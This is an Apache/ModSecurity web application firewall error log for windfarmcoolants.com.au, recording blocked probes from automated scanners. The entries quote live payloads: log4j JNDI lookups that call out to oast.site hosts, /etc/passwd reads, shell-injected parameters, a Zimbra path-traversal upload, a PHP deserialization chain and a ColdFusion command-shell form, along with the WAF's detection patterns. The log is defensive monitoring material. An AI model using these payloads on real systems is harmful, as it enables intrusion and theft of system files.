[Sat Nov 22 19:25:46.190165 2025] [:error] [pid 53566:tid 53571] [client 144.48.39.84:40254] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Found 4 byte(s) in ARGS:PK\\x03\\x04\\x14\\x00\\b\\x00\\b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "ARGS:PK\\x5cx03\\x5cx04\\x5cx14\\x5cx00\\x5cb\\x5cx00\\x5cb\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00=\\x00\\x00\\x00../../../../mailboxd/webapps/zimbraAdmin/0MVzAe6pgwe5go1D.jsp\\x1c\\xc8\\xbd\\x0a\\xc20\\x10\\x00\\xe0\\xbdOQ\\x02\\x85\\x04!(\\xb8U\\x5c\\xfc[\\xc4\\x16;\\xb4t;\\xdbCS\\xcf$\\xc6K\\xf4\\xf1E\\xd7oUd.\\xb2\\xf6\\xc1X"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/service/extension/backup/mboximport"] [unique_id "aSGdusbSHDBkRbwMbd42TgAAAMM"]
[Sat Nov 22 19:25:46.190475 2025] [:error] [pid 9547:tid 9572] [client 144.48.39.84:40246] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Found 4 byte(s) in ARGS:PK\\x03\\x04\\x14\\x00\\b\\x00\\b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "ARGS:PK\\x5cx03\\x5cx04\\x5cx14\\x5cx00\\x5cb\\x5cx00\\x5cb\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00=\\x00\\x00\\x00../../../../mailboxd/webapps/zimbraAdmin/0MVzAe6pgwe5go1D.jsp\\x1c\\xc8\\xbd\\x0a\\xc20\\x10\\x00\\xe0\\xbdOQ\\x02\\x85\\x04!(\\xb8U\\x5c\\xfc[\\xc4\\x16;\\xb4t;\\xdbCS\\xcf$\\xc6K\\xf4\\xf1E\\xd7oUd.\\xb2\\xf6\\xc1X"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/service/extension/backup/mboximport"] [unique_id "aSGdutClOR5qk7DoMeHFNQAAAVM"]
[Sat Nov 22 19:25:48.178367 2025] [:error] [pid 9547:tid 9557] [client 144.48.39.84:40290] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/popen.cgi?command=cat%20/etc/passwd&v=0.1303033443137912"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/popen.cgi"] [unique_id "aSGdvNClOR5qk7DoMeHFOgAAAUQ"]
[Sat Nov 22 20:22:47.183237 2025] [:error] [pid 9547:tid 9553] [client 162.0.217.130:43706] [client 162.0.217.130] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aSGrF9ClOR5qk7DoMeHengAAAUA"]
[Sat Nov 22 23:32:11.577058 2025] [:error] [pid 53477:tid 53486] [client 144.48.39.84:59682] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "etc/passwd" at ARGS:lib_path. [file "/usr/local/apache/modsecurity-cwaf/rules/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: etc/passwd found within ARGS:lib_path: /etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSHXe37Lu30Ku9O40aINNQAAAAU"]
[Sat Nov 22 23:32:13.188015 2025] [:error] [pid 53479:tid 53552] [client 144.48.39.84:44966] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?|rmi|dns|iiop|nis|nds|corba|\\\\$\\\\{(?:lower|upper)):" at ARGS:x. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aSHXfW6cicFF3Aas-oTuEgAAAJA"], referer: ${jndi:ldap://127.0.0.1#.${hostName}.referer.d4e0balnduab18qcgofgfajngkydar9mo.oast.site}
[Sun Nov 23 00:34:40.565630 2025] [:error] [pid 39719:tid 39780] [client 144.48.39.86:39718] [client 144.48.39.86] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSHmIBmP4k0tY5Yex-WyHAAAAQQ"]
[Sun Nov 23 00:34:40.565714 2025] [:error] [pid 39719:tid 39780] [client 144.48.39.86:39718] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSHmIBmP4k0tY5Yex-WyHAAAAQQ"]
[Sun Nov 23 00:34:43.481077 2025] [:error] [pid 39942:tid 40008] [client 144.48.39.86:52700] [client 144.48.39.86] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSHmI6NupsOsQf9D2gxAoAAAAU0"]
[Sun Nov 23 00:34:43.481186 2025] [:error] [pid 39942:tid 40008] [client 144.48.39.86:52700] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSHmI6NupsOsQf9D2gxAoAAAAU0"]
[Sun Nov 23 00:34:51.182770 2025] [:error] [pid 39719:tid 39796] [client 144.48.39.86:52788] File does not exist: /usr/local/apache/htdocs/suspended-page/35ddylnJBnWqQSaXYz35yKu28WW.php
[Sun Nov 23 00:57:12.469473 2025] [:error] [pid 8816:tid 8886] [client 172.192.65.105:20776] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Sun Nov 23 00:57:12.639702 2025] [:error] [pid 8816:tid 8884] [client 172.192.65.105:20776] File does not exist: /usr/local/apache/htdocs/suspended-page/kblxvbrr.php, referer: www.google.com
[Sun Nov 23 00:57:15.076258 2025] [:error] [pid 8816:tid 8894] [client 172.192.65.105:20768] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Sun Nov 23 00:57:15.206066 2025] [:error] [pid 8816:tid 8892] [client 172.192.65.105:20768] File does not exist: /usr/local/apache/htdocs/suspended-page/cpwuqsie.php, referer: www.google.com
[Sun Nov 23 01:29:36.615376 2025] [:error] [pid 39718:tid 39754] [client 144.48.39.86:32896] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\bcf(?:_(?:setdatasource(?:password|username)|(?:getdatasourceusernam|iscoldfusiondatasourc)e)|admin_registry_(?:delete|set)|execute|internaldebug|newinternal(?:adminsecurit|registr)y|usion_(?:d(?:bconnections_flush|ecrypt)|encrypt|getodbc(?:dsn|ini)| ..." at ARGS:imgSrc. [file "/usr/local/apache/modsecurity-cwaf/rules/08_Global_Other.conf"] [line "14"] [id "211020"] [rev "1"] [msg "COMODO WAF: Injection of Undocumented ColdFusion Tags||windfarmcoolants.com.au|F|2"] [data "Matched Data: cfexecute found within ARGS:imgSrc: \\x0d\\x0a<cfoutput>\\x0d\\x0a\\x0d\\x0a<table>\\x0d\\x0a<form method=\\x22post\\x22 action=\\x22\\x22>\\x0d\\x0a<tr><td>command:</td><td><input type=test name=\\x22cmd\\x22 size=50\\x0d\\x0a<cfif isdefined(\\x22form.cmd\\x22)>value=\\x22#form.cmd#\\x22</cfif>><br></td></tr>\\x0d\\x0a<tr><td>options:</td><td> <input type=text name=\\x22opts\\x22 size=50\\x0d\\x0a<cfif isdefined(\\x22form.opts\\x22)>value=\\x22#form.opts#\\x22</cfif>><br></td></tr>\\x0d\\x0a<tr><td>timeo [hostname "windfarmcoolants.com.au"] [uri "/lucee/admin/imgProcess.cfm"] [unique_id "aSHzAAQ3B_uDoeItNmNodQAAAEU"]
[Sun Nov 23 04:18:05.032128 2025] [:error] [pid 59609:tid 59697] [client 51.81.107.180:50070] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Sun Nov 23 04:26:47.544218 2025] [:error] [pid 38740:tid 38814] [client 144.48.39.86:59344] [client 144.48.39.86] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||windfarmcoolants.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/cgi"] [unique_id "aSIchw13QPZSi6O8umWB9AAAAJI"], referer: http://windfarmcoolants.com.au/mainFrame.htm
[Sun Nov 23 04:27:02.191007 2025] [:error] [pid 38824:tid 38836] [client 144.48.39.84:60822] [client 144.48.39.84] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||windfarmcoolants.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/cgi"] [unique_id "aSIclk8WZjXLvbHTHPeuqQAAAMk"], referer: http://windfarmcoolants.com.au/mainFrame.htm
[Sun Nov 23 05:14:05.562758 2025] [:error] [pid 38740:tid 38800] [client 144.48.39.84:57384] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "," at REQUEST_HEADERS:Transfer-Encoding. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "38"] [id "211070"] [rev "1"] [msg "COMODO WAF: HTTP Request Smuggling Attack.||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/tmui/login.jsp"] [unique_id "aSInnQ13QPZSi6O8umWVEwAAAIQ"]
[Sun Nov 23 05:23:53.671646 2025] [:error] [pid 38740:tid 38814] [client 144.48.39.84:38224] File does not exist: /usr/local/apache/htdocs/suspended-page/card_scan.php
[Sun Nov 23 06:19:08.555489 2025] [:error] [pid 38739:tid 38791] [client 167.71.203.246:57290] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Sun Nov 23 06:39:35.578158 2025] [:error] [pid 38739:tid 38771] [client 144.48.39.86:41464] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "etc/passwd" at ARGS:field. [file "/usr/local/apache/modsecurity-cwaf/rules/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: etc/passwd found within ARGS:field: field:exec:head -1 /etc/passwd:null:null"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSI7pwdvEgJm2n2cDmodXwAAAEI"]
[Sun Nov 23 06:39:35.662731 2025] [:error] [pid 38738:tid 38765] [client 144.48.39.86:41476] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /conf_mail.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/conf_mail.php"] [unique_id "aSI7pwytc6TL9XavPmPhuQAAABc"]
[Sun Nov 23 06:39:35.663184 2025] [:error] [pid 38738:tid 38751] [client 144.48.39.86:41466] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Found 1 byte(s) in ARGS:file outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||www.windfarmcoolants.com.au|F|3"] [data "ARGS:file=;echo CVE-2023-23333|rev\\x00.zip"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/downloader.php"] [unique_id "aSI7pwytc6TL9XavPmPhuAAAAAk"]
[Sun Nov 23 06:39:38.214222 2025] [:error] [pid 38738:tid 38753] [client 144.48.39.84:46064] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /network_test.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/network_test.php"] [unique_id "aSI7qgytc6TL9XavPmPhxQAAAAs"]
[Sun Nov 23 06:39:38.217356 2025] [:error] [pid 38740:tid 38804] [client 144.48.39.84:46060] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Found 16 byte(s) in ARGS:user[searchprefs] outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||www.windfarmcoolants.com.au|F|3"] [data "ARGS:user[searchprefs]=a:2:{i:0;O:27:\\x22googlelogin_vendor_autoload\\x22:0:{}i:1;O:32:\\x22Monolog\\x5cHandler\\x5cSyslogUdpHandler\\x22:1:{s:9:\\x22\\x00*\\x00socket\\x22;O:29:\\x22Monolog\\x5cHandler\\x5cBufferHandler\\x22:7:{s:10:\\x22\\x00*\\x00handler\\x22;r:4;s:13:\\x22\\x00*\\x00bufferSize\\x22;i:-1;s:9:\\x22\\x00*\\x00buffer\\x22;a:1:{i:0;a:2:{i:0;s:14:\\x22CVE-2023-25135\\x22;s:5:\\x22level\\x22;N;}}s:8:\\x22\\x00*\\x00level\\x22;N;s:14:\\x22\\x00*\\x00initialized\\x22;b:1;s:14:\\x22\\x00*\\x00bufferLimit\\x22;i:-1;s:13:\\x22\\x00*\\x00p..."] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/ajax/api/user/save"] [unique_id "aSI7qg13QPZSi6O8umWt0QAAAIg"]
[Sun Nov 23 06:39:38.218119 2025] [:error] [pid 38738:tid 38742] [client 144.48.39.84:46090] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /app/options.py"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/app/options.py"] [unique_id "aSI7qgytc6TL9XavPmPhyQAAAAA"], referer: https://www.windfarmcoolants.com.au/app/login.py
[Sun Nov 23 06:39:38.220092 2025] [:error] [pid 44652:tid 44729] [client 144.48.39.84:46154] [client 144.48.39.84] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.windfarmcoolants.com.au|F|2"] [data "TX:0=application/x-thrift"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.windfarmcoolants.com.au"] [uri "/saas./resttosaasservlet"] [unique_id "aSI7qtiQFwsyXQDhwyDc9QAAARc"]
[Sun Nov 23 06:39:39.213959 2025] [:error] [pid 38740:tid 38801] [client 144.48.39.84:46170] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Sun Nov 23 06:39:43.186871 2025] [:error] [pid 38740:tid 38803] [client 144.48.39.84:58808] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/popen.cgi?command=cat%20/etc/passwd&v=0.1303033443137912"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/popen.cgi"] [unique_id "aSI7rw13QPZSi6O8umWt1wAAAIc"]
[Sun Nov 23 06:39:46.200303 2025] [:error] [pid 44652:tid 44711] [client 144.48.39.84:58838] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Found 4 byte(s) in ARGS:PK\\x03\\x04\\x14\\x00\\b\\x00\\b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||www.windfarmcoolants.com.au|F|3"] [data "ARGS:PK\\x5cx03\\x5cx04\\x5cx14\\x5cx00\\x5cb\\x5cx00\\x5cb\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00=\\x00\\x00\\x00../../../../mailboxd/webapps/zimbraAdmin/0MVzAe6pgwe5go1D.jsp\\x1c\\xc8\\xbd\\x0a\\xc20\\x10\\x00\\xe0\\xbdOQ\\x02\\x85\\x04!(\\xb8U\\x5c\\xfc[\\xc4\\x16;\\xb4t;\\xdbCS\\xcf$\\xc6K\\xf4\\xf1E\\xd7oUd.\\xb2\\xf6\\xc1X"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/service/extension/backup/mboximport"] [unique_id "aSI7stiQFwsyXQDhwyDdAgAAAQU"]
[Sun Nov 23 06:39:46.200818 2025] [:error] [pid 38740:tid 38799] [client 144.48.39.84:58822] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Found 4 byte(s) in ARGS:PK\\x03\\x04\\x14\\x00\\b\\x00\\b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||www.windfarmcoolants.com.au|F|3"] [data "ARGS:PK\\x5cx03\\x5cx04\\x5cx14\\x5cx00\\x5cb\\x5cx00\\x5cb\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00\\x5cx00=\\x00\\x00\\x00../../../../mailboxd/webapps/zimbraAdmin/0MVzAe6pgwe5go1D.jsp\\x1c\\xc8\\xbd\\x0a\\xc20\\x10\\x00\\xe0\\xbdOQ\\x02\\x85\\x04!(\\xb8U\\x5c\\xfc[\\xc4\\x16;\\xb4t;\\xdbCS\\xcf$\\xc6K\\xf4\\xf1E\\xd7oUd.\\xb2\\xf6\\xc1X"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/service/extension/backup/mboximport"] [unique_id "aSI7sg13QPZSi6O8umWt3AAAAIM"]
[Sun Nov 23 10:09:47.199664 2025] [:error] [pid 38824:tid 38828] [client 144.48.39.86:44596] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\b(?:c(?:d(?:\\\\b[^a-zA-Z0-9_]{0,}?[\\\\/]|[^a-zA-Z0-9_]{0,}?\\\\.\\\\.)|hmod.{0,40}?\\\\+.{0,3}x|md(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:\\\\.exe|32)\\\\b))|(?:echo\\\\b[^a-zA-Z0-9_]{0,}?\\\\by{1,}|n(?:et(?:\\\\b[^a-zA-Z0-9_]{1,}?\\\\blocalgroup|\\\\.exe)|(?:c|map)\\\\.exe)|t(? ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "65"] [id "211210"] [rev "8"] [msg "COMODO WAF: System Command Injection||windfarmcoolants.com.au|F|2"] [data "Matched Data: `ls found within ARGS:payload: `ls>../35ddyil6x91o6ldlat7tl72135k`"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/downloadFlile.cgi"] [unique_id "aSJs608WZjXLvbHTHPciggAAAME"]
[Sun Nov 23 10:09:50.184529 2025] [:error] [pid 38740:tid 38809] [client 144.48.39.86:44598] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?|rmi|dns|iiop|nis|nds|corba|\\\\$\\\\{(?:lower|upper)):" at ARGS:x. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aSJs7g13QPZSi6O8umXywgAAAI0"]
[Sun Nov 23 10:10:03.192151 2025] [:error] [pid 38738:tid 38751] [client 144.48.39.84:48056] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?|rmi|dns|iiop|nis|nds|corba|\\\\$\\\\{(?:lower|upper)):" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aSJs-wytc6TL9XavPmM1qwAAAAk"], referer: ${jndi:ldap://${:-155}${:-527}.${hostName}.referer.d4e0balnduab18qcgofgygz4jwumi6snd.oast.site}
[Sun Nov 23 10:48:58.232678 2025] [:error] [pid 44652:tid 44709] [client 107.189.19.96:52556] File does not exist: /usr/local/apache/htdocs/suspended-page/kickstart.php
[Sun Nov 23 11:08:25.185426 2025] [:error] [pid 38824:tid 38841] [client 144.48.39.84:34906] File does not exist: /usr/local/apache/htdocs/suspended-page/spip.php
[Sun Nov 23 12:12:13.207043 2025] [:error] [pid 44652:tid 44711] [client 144.48.39.84:49526] [client 144.48.39.84] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: Final boundary missing."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/inc/jquery/uploadify/uploadify.php"] [unique_id "aSKJndiQFwsyXQDhwyBBDQAAAQU"]
[Sun Nov 23 12:12:13.208439 2025] [:error] [pid 44652:tid 44711] [client 144.48.39.84:49526] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). String match "uploadify/uploadify.php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "6748"] [id "244050"] [rev "2"] [msg "COMODO WAF: Possible arbitrary file upload using Uploadify||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "windfarmcoolants.com.au"] [uri "/inc/jquery/uploadify/uploadify.php"] [unique_id "aSKJndiQFwsyXQDhwyBBDQAAAQU"]
[Sun Nov 23 16:05:54.565149 2025] [:error] [pid 38824:tid 38849] [client 144.48.39.84:35860] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "50"] [id "211180"] [rev "3"] [msg "COMODO WAF: Session Fixation: SessionID Parameter Name with No Referer||windfarmcoolants.com.au|F|2"] [data "Matched Data: session_id found within REQUEST_HEADERS: 0"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/network_config/nsg_masq.cgi"] [unique_id "aSLAYk8WZjXLvbHTHPd_bwAAANY"]
